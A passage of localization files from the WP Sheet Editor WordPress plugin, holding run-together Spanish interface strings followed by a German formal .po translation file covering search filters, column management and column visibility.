copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-de_DE_formal.po000064400000732212147600365160020204 0ustar00msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.21.3\n" "Report-Msgid-Bugs-To: \n" "Language-Team: Hanno Bolte IT Consulting \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2020-10-20T18:06:58+00:00\n" "PO-Revision-Date: 2020-11-04 20:07+0100\n" "X-Generator: Poedit 2.4.1\n" "Last-Translator: Hanno Bolte \n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "Language: de_DE@formal\n" #: acf/acf.php:584 msgid "Enter a title" msgstr "Titel eingeben" #: advanced-filters/advanced-filters.php:49 #: advanced-filters/advanced-filters.php:75 #: columns-manager/inc/column-groups.php:276 #: columns-resizing/columns-resizing.php:63 #: columns-visibility/columns-visibility.php:210 formulas/formulas.php:470 #: formulas/formulas.php:488 formulas/formulas.php:507 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:108 woocommerce/inc/attributes.php:553 #: woocommerce/inc/downloadable.php:334 woocommerce/inc/downloadable.php:354 #: woocommerce/inc/variations.php:1330 woocommerce/inc/variations.php:1350 #: wp-sheet-editor/dev/inc/api/editor.php:212 #: wp-sheet-editor/dev/wp-sheet-editor.php:936 #: wp-sheet-editor/dev/wp-sheet-editor.php:950 #: wp-sheet-editor/dev/wp-sheet-editor.php:961 msgid "You dont have enough permissions to view this page." msgstr "Sie haben nicht genügend Berechtigungen, um diese Seite anzuzeigen." #: advanced-filters/advanced-filters.php:133 msgid "Save this search" msgstr "Diese Suche speichern" #: advanced-filters/advanced-filters.php:134 msgid "Enter a name..." msgstr "Namen eingeben..." #: advanced-filters/advanced-filters.php:421 msgid "Parent" msgstr "Übergeordnet" #: advanced-filters/advanced-filters.php:595 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "%s eingeben" #: advanced-filters/advanced-filters.php:595 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Die Namen eingeben von " #: advanced-filters/advanced-filters.php:596 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Name der Kategorie..." #: advanced-filters/advanced-filters.php:605 #: advanced-filters/advanced-filters.php:663 #: advanced-filters/advanced-filters.php:698 filters/filters.php:379 #: filters/filters.php:395 msgid "Select..." msgstr "Auswählen..." #: advanced-filters/advanced-filters.php:651 msgid "Enable advanced filters" msgstr "Erweiterte Filter aktivieren" #: advanced-filters/advanced-filters.php:654 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Erweiterte Suche" #: advanced-filters/advanced-filters.php:656 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Sie können nach jedem Feld mit Hilfe von Operatoren suchen. D.h. price > " "100, image != (empty)" #: advanced-filters/advanced-filters.php:661 msgid "Field" msgstr "Feld" #: advanced-filters/advanced-filters.php:693 msgid "A field is missing? Click here" msgstr "Es fehlt ein Feld? Klicken Sie hier" #: advanced-filters/advanced-filters.php:697 msgid "Operator" msgstr "Operator" #: advanced-filters/advanced-filters.php:703 woocommerce/inc/attributes.php:535 #: woocommerce/inc/attributes.php:536 woocommerce/inc/variations.php:416 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:882 msgid "Value" msgstr "Wert" #: advanced-filters/advanced-filters.php:708 #: advanced-filters/advanced-filters.php:720 #: wp-sheet-editor/dev/inc/api/bootstrap.php:224 msgid "Add new" msgstr "Neu hinzufügen" #: advanced-filters/advanced-filters.php:711 msgid "X" msgstr "X" # php source does not exist #: advanced-filters/advanced-filters.php:729 #, fuzzy msgid "NOT Contains this keyword" msgstr "NOT Contains this keyword" #: advanced-filters/advanced-filters.php:729 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Geben Sie ein Schlüsselwort ein, um Beiträge auszuschließen, trennen Sie " "mehrere Schlüsselwörter mit einem Semikolon (;)" #: advanced-filters/advanced-filters.php:733 msgid "Find these IDs:" msgstr "Diese IDs finden:" #: advanced-filters/advanced-filters.php:733 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Geben Sie IDs durch Kommata, Leerzeichen, neue Zeilen oder Tabulatoren " "getrennt ein. Sie können ID-Bereiche wie 20-50 als Abkürzung verwenden." #: advanced-filters/advanced-filters.php:738 msgid "Find these URLs:" msgstr "Diese URLs finden:" #: advanced-filters/advanced-filters.php:738 msgid "Enter one URL per line" msgstr "Eine URL je Zeile eingeben" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Datumsbereich von" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Elemente anzeigen, die zwischen diesen Daten veröffentlicht wurden" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "bis" #: advanced-filters/advanced-filters.php:761 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "Einer dieser Werte (Geben Sie mehrere durch ; getrennte Werte ein)" # php source does not exist #: advanced-filters/advanced-filters.php:762 #, fuzzy msgid "CONTAINS" msgstr "CONTAINS" # php source does not exist #: advanced-filters/advanced-filters.php:763 #, fuzzy msgid "NOT CONTAINS" msgstr "NOT CONTAINS" # php source does not exist #: advanced-filters/advanced-filters.php:764 #, fuzzy msgid "STARTS WITH" msgstr "STARTS WITH" # php source does not exist #: advanced-filters/advanced-filters.php:765 #, fuzzy msgid "ENDS WITH" msgstr "ENDS WITH" # php source does not exist #: advanced-filters/advanced-filters.php:766 #, fuzzy msgid "CHARACTER LENGTH <" msgstr "CHARACTER LENGTH <" # php source does not exist #: advanced-filters/advanced-filters.php:767 #, fuzzy msgid "CHARACTER LENGTH >" msgstr "CHARACTER LENGTH >" # php source does not exist #: advanced-filters/advanced-filters.php:768 #, fuzzy msgid "REGEXP" msgstr "REGEXP" #: columns-manager/columns-manager.php:161 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Einige Spalten haben die Schaltfläche , um die " "Formatierung zu ändern" #: columns-manager/columns-manager.php:173 columns-visibility/views/form.php:8 msgid "Columns manager" msgstr "Spalten-Manager" #: columns-manager/columns-manager.php:285 msgid "Enter multiple post titles separated by commas" msgstr "Mehrere Beitragstitel eingeben, getrennt durch Kommata" #: columns-manager/columns-manager.php:573 #: wp-sheet-editor/dev/inc/api/bootstrap.php:177 #: wp-sheet-editor/dev/inc/options-init.php:384 #: wp-sheet-editor/dev/views/quick-setup.php:99 msgid "Settings" msgstr "Einstellungen" #: columns-manager/columns-manager.php:576 msgid "Column format" msgstr "Spaltenformat" #: columns-manager/columns-manager.php:578 msgid "Automatic" msgstr "Automatisch" #: columns-manager/columns-manager.php:579 msgid "Text" msgstr "Text" #: columns-manager/columns-manager.php:580 msgid "Text editor (tinymce)" msgstr "Texteditor (TinyMCE)" #: columns-manager/columns-manager.php:581 msgid "Dropdown with predefined options" msgstr "Dropdown-Menü mit vordefinierten Optionen" #: columns-manager/columns-manager.php:582 msgid "Checkbox" msgstr "Kontrollkästchen" #: columns-manager/columns-manager.php:583 msgid "File upload" msgstr "Datei-Upload" #: columns-manager/columns-manager.php:584 #: wp-sheet-editor/dev/inc/api/bootstrap.php:470 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Datum" #: columns-manager/columns-manager.php:585 msgid "User dropdown" msgstr "Benutzer-Dropdown" #: columns-manager/columns-manager.php:586 msgid "Post dropdown" msgstr "Beitrags-Dropdown" #: columns-manager/columns-manager.php:590 msgid "Allowed values" msgstr "Erlaubte Werte" #: columns-manager/columns-manager.php:591 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this:
                  red : Red" msgstr "" "Geben Sie jede Auswahl in eine neue Zeile ein. Zur besseren Kontrolle können " "Sie sowohl einen Wert als auch eine Bezeichnung wie folgt angeben:
                  rot : " "Rot" #: columns-manager/columns-manager.php:595 msgid "What valued is saved when the checkbox is checked?" msgstr "" "Welcher Wert wird gespeichert, wenn Sie beim Kontrollkästchen einen Haken " "setzen?" #: columns-manager/columns-manager.php:597 msgid "What valued is saved when the checkbox is unchecked?" msgstr "" "Welcher Wert wird gespeichert, wenn Sie das Häkchen beim Kontrollkästchen " "entfernen?" #: columns-manager/columns-manager.php:601 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Sie können den Benutzernamen in die Zelle eingeben, und die Zelle zeigt eine " "Dropdown-Liste mit Vorschlägen an." #: columns-manager/columns-manager.php:602 msgid "How is the user saved in the database?" msgstr "Wie wird der Benutzer in der Datenbank gespeichert?" #: columns-manager/columns-manager.php:604 #: wp-sheet-editor/dev/inc/api/bootstrap.php:360 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:605 msgid "Username" msgstr "Benutzername" #: columns-manager/columns-manager.php:606 msgid "Email" msgstr "E-Mail" #: columns-manager/columns-manager.php:610 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Sie können den Titel des Beitrags in die Zelle eingeben, und die Zelle zeigt " "eine Dropdown-Liste mit Vorschlägen an." #: columns-manager/columns-manager.php:611 msgid "How is the post saved in the database?" msgstr "Wie wird der Beitrag in der Datenbank gespeichert?" #: columns-manager/columns-manager.php:613 msgid "Post ID" msgstr "Beitrags-ID" #: columns-manager/columns-manager.php:614 #: wp-sheet-editor/dev/inc/api/bootstrap.php:373 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Titel" #: columns-manager/columns-manager.php:615 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:618 msgid "Allow multiple posts per field?" msgstr "Mehrere Beiträge je Feld zulassen?" #: columns-manager/columns-manager.php:620 msgid "How do you want to save the multiple posts?" msgstr "Wie möchten Sie diese Beiträge speichern?" #: columns-manager/columns-manager.php:622 #: columns-manager/columns-manager.php:649 msgid "Saved them separated by comma" msgstr "Durch Komma getrennt speichern" #: columns-manager/columns-manager.php:623 #: columns-manager/columns-manager.php:650 msgid "Save them as serialized array" msgstr "Als serialisiertes Array speichern" #: columns-manager/columns-manager.php:625 msgid "Accept post from this post type" msgstr "Beitrag von diesem Beitragstyp annehmen" #: columns-manager/columns-manager.php:626 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Wenn Sie zum Beispiel den Beitragstyp \"Produkt\" auswählen, akzeptieren wir " "nur Produkttitel." #: columns-manager/columns-manager.php:628 msgid "Same as the spreadsheet post type" msgstr "Identisch mit dem Beitragstyp im Arbeitsblatt" #: columns-manager/columns-manager.php:639 msgid "How is the file saved in the database?" msgstr "Wie wird die Datei in der Datenbank gespeichert?" #: columns-manager/columns-manager.php:640 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "In der Zelle werden die Werte als URLs angezeigt, und Sie können in den " "Zellen die vollständigen URLs, die Datei-ID oder den Dateinamen bearbeiten." "
                  Externe URLs werden automatisch in die Medienbibliothek importiert." "
                  Wir werden den Wert in dem hier gewählten Format speichern" #: columns-manager/columns-manager.php:642 msgid "File ID" msgstr "Datei ID" #: columns-manager/columns-manager.php:643 formulas/inc/ui.php:887 #: universal-sheet/views/import-modal.php:38 msgid "File URL" msgstr "Datei-URL" #: columns-manager/columns-manager.php:646 msgid "Allow multiple files per field?" msgstr "Mehrere Dateien je Feld zulassen?" #: columns-manager/columns-manager.php:647 msgid "How do you want to save the multiple files?" msgstr "Wie möchten Sie diese Dateien speichern?" #: columns-manager/columns-manager.php:654 msgid "The cells will display the date in the format: YYYY-MM-DD" msgstr "In den Zellen wird das Datum in diesem Format angezeigt: YYYY-MM-DD" #: columns-manager/columns-manager.php:655 msgid "What date format do you want to save in the database?" msgstr "Welches Datumsformat möchten Sie in der Datenbank speichern?" #: columns-manager/columns-manager.php:656 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Geben Sie ein Datumsformat ein. Liste der Formate. " "Beispiel: Y-m-d" #: columns-manager/inc/column-groups.php:46 msgid "Spreadsheet views" msgstr "Arbeitsblattansichten" #: columns-manager/inc/column-groups.php:80 #: wp-sheet-editor/dev/wp-sheet-editor.php:924 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:81 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Bitte beachten: Dies ist keine Sicherheitsfunktion, der Benutzer kann alle " "Felder im normalen Editor auf der Grundlage der jeweiligen Rolle bearbeiten. " "Diese Option dient der Bequemlichkeit, so dass man beim Öffnen des " "Tabelleneditors nur die Spalten sieht, die man benötigt. Wenn Sie diese " "Felder leer lassen, kann man zwischen allen vorhandenen Ansichten wechseln" #: columns-manager/inc/column-groups.php:98 msgid "%s: Allowed spreadsheet views" msgstr "%s: Zugelassene Arbeitsblattansichten" #: columns-manager/inc/column-groups.php:101 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Bitte geben Sie die Namen der Arbeitsblattansichten durch Kommata getrennt " "ein." #: columns-manager/inc/column-groups.php:328 msgid "Add a name for this group of columns" msgstr "Fügen Sie einen Namen für diese Gruppe von Spalten hinzu" #: columns-manager/inc/column-groups.php:328 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Wir werden diese Gruppe von Spalten als Arbeitsblattansicht speichern, und " "Sie können in der Werkzeugleiste zwischen den Arbeitsblättern wechseln" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:74 msgid "Rename column" msgstr "Spalte umbenennen" #: columns-renaming/columns-renaming.php:61 #: columns-visibility/columns-visibility.php:155 #: columns-visibility/columns-visibility.php:169 #: wp-sheet-editor/dev/inc/ajax.php:142 wp-sheet-editor/dev/inc/ajax.php:257 #: wp-sheet-editor/dev/inc/ajax.php:278 wp-sheet-editor/dev/inc/ajax.php:284 msgid "Missing parameters." msgstr "Fehlende Parameter." #: columns-renaming/columns-renaming.php:65 #: columns-visibility/columns-visibility.php:159 #: columns-visibility/columns-visibility.php:173 msgid "You dont have enough permissions to execute this action." msgstr "Sie haben nicht genügend Berechtigungen, um diese Aktion auszuführen." #: columns-visibility/columns-visibility.php:163 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Spalten erfolgreich wiederhergestellt, bitte laden Sie die Seite neu, um die " "wiederhergestellten Spalten zu sehen und sie zu aktivieren" #: columns-visibility/columns-visibility.php:354 msgid "Hide / Display / Sort columns" msgstr "Spalten ausblenden / anzeigen / sortieren" #: columns-visibility/views/form.php:11 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Ziehen Sie die Spalten auf die linke oder rechte Seite, um sie zu aktivieren/" "deaktivieren, ziehen Sie sie nach oben oder unten, um sie zu sortieren, " "klicken Sie auf die Schaltfläche \"Bearbeiten\", um sie umzubenennen, " "klicken Sie auf die Schaltfläche \"x\", um sie vollständig zu löschen (nur " "wenn sie vorher deaktiviert wurden)." #: columns-visibility/views/form.php:14 columns-visibility/views/form.php:69 msgid "Enable all" msgstr "Alles aktivieren" #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:26 msgid "Disable all" msgstr "Alles deaktivieren" #: columns-visibility/views/form.php:21 msgid "Enabled" msgstr "Aktiviert" #: columns-visibility/views/form.php:21 columns-visibility/views/form.php:63 msgid "Bulk" msgstr "Mehrere" #: columns-visibility/views/form.php:23 columns-visibility/views/form.php:66 msgid "Enter a search term..." msgstr "Suchbegriff eingeben..." #: columns-visibility/views/form.php:25 columns-visibility/views/form.php:68 #: universal-sheet/views/import-modal.php:84 msgid "Bulk actions" msgstr "Massenaktionen" #: columns-visibility/views/form.php:27 columns-visibility/views/form.php:71 msgid "Sort alphabetically ASC" msgstr "Alphabetisch sortieren ASC" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:72 msgid "Sort alphabetically DESC" msgstr "Alphabetisch sortieren DESC" #: columns-visibility/views/form.php:52 columns-visibility/views/form.php:92 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Spalte vollständig entfernen. Wenn Sie sie später verwenden möchten, können " "Sie sie deaktivieren, indem Sie sie in die rechte Spalte ziehen und dort " "ablegen" #: columns-visibility/views/form.php:54 columns-visibility/views/form.php:94 msgid 